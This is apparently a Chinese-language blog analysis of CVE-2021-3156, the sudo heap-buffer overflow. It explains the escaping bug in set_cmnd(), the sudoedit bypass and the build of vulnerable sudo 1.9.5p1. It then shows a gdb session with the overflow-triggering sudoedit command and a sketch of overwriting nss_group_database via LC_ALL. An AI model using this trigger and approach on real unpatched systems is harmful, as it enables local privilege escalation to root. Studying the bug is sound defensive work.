漏洞原理
如果sudo时添加了-s参数,则会调用到sudoers_policy_main()函数中的set_cmnd(),该函数会根据参数计算size并调用malloc申请size大小的堆空间user_args,然后判断是否设置了MODE_SHELL,如果是,则会连接命令行参数存入堆空间user_args。在这个函数中如果from[0]是反斜杠,from[1]则会满足以下条件
1
2
3if (from[0] == '\\' && !isspace((unsigned char)from[1]));
from++;
*to++ = *from++;此时from++,from指向null,而执行to++ = from++时指向反斜杠后面的第一个字符,这样导致原来应该拷贝反斜杠以及之前字符串的,现在拷贝了反斜扛后面的参数,那么导致之前计算的size大小不正确导致了溢出。
不过set_cmnd()函数触发前会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个,但是如果启用了MODE_SHELL,sudo在运行时main()函数会先调用parse_args(),该函数会连接所有命令行参数,并用反斜杠来编码所有元字符覆盖argv(即将\转义为\)。这会导致漏洞无法触发
所以我们使用sudoedit,因为如果使用 sudoedit,还是会利用软链接使用 sudo命令,而在 parse_args()函数中会自动设置 MODE_EDIT且不会重置 valid_flags(默认是含有MODE_SHELL的),而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。
漏洞验证
编译1
2
3
4
5
6
7
8
9
10
wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
tar xf sudo-SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1/
mkdir build
cd build/
../configure --enable-env-debug
make -j CFLAGS="-g -O0"
sudo make install
调试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
pwndbg> b ../../../plugins/sudoers/sudoers.c:964
pwndbg> b ../../../plugins/sudoers/sudoers.c:978
pwndbg> r
In file: /ctf/work/sudo-SUDO_1_9_5p1/plugins/sudoers/sudoers.c
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
► 970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
pwndbg> p NewArgv[0]
$18 = 0x564580b0ee4e "sudoedit"
pwndbg> p NewArgv[1]
$19 = 0x7ffe19cd2536 "\\"
pwndbg> p NewArgv[2]
$20 = 0x7ffe19cd2538 "112233445566"
//处理NewArgv[1]时进入if (from[0] == '\\' && !isspace((unsigned char)from[1]))的判断语句,执行from++;*to++ = *from++;导致本来应该拷贝NewArgv[1],但是实际拷贝了NewArgv[2]
pwndbg> p to
$1 = 0x5648fc1bdac0 "\340\v1w3\177"
//预期应该拷贝NewArgv[1]和NewArgv[2],组成\ 112233445566,但是由于该漏洞NewArgv[2]被拷贝了两次
//user_args被覆盖前
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x00007fbc8f313100 0x00007fbc8f7fdbe0
0x56458187aad0: 0x0000000000000000 0x0000000000000c91
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000
//user_args被覆盖后
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x3433333232313100 0x3131203636353534
0x56458187aad0: 0x3535343433333232 0x0000000000203636
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000
可以看到下一个chunk的size被覆盖了。
漏洞利用
重写模块加载接口参数
1 | ``` |
根据以上信息我们可以得出一下结论
sudo_user.cmnd_args的地址(0x561f576e7be0)高于nss_group_database的地址(0x561f576daee0),所以cmnd_args溢出的话没法覆盖nss_group_database的地址
但是在qualys提供的exp思路里我们知道可以调用setlocale这个函数(设置LC_*环境变量)的方式来修改sudo的内存结构
1 | pwndbg> set env LC_ALL=en_US.UTF-8@xxxxxxxxxxxxx |
此时sudo_user.cmnd_args的地址低于nss_group_database的地址,可以利用溢出覆盖掉nss_group_database结构,我们再修改一下传入的参数试试
ref
https://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
https://www.anquanke.com/post/id/231420#h2-7
https://bbs.pediy.com/thread-265669.htm
https://bestwing.me/CVE-2021-3156-analysis..html
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
https://www.kalmarunionen.dk/writeups/sudo/
https://www.anquanke.com/post/id/231077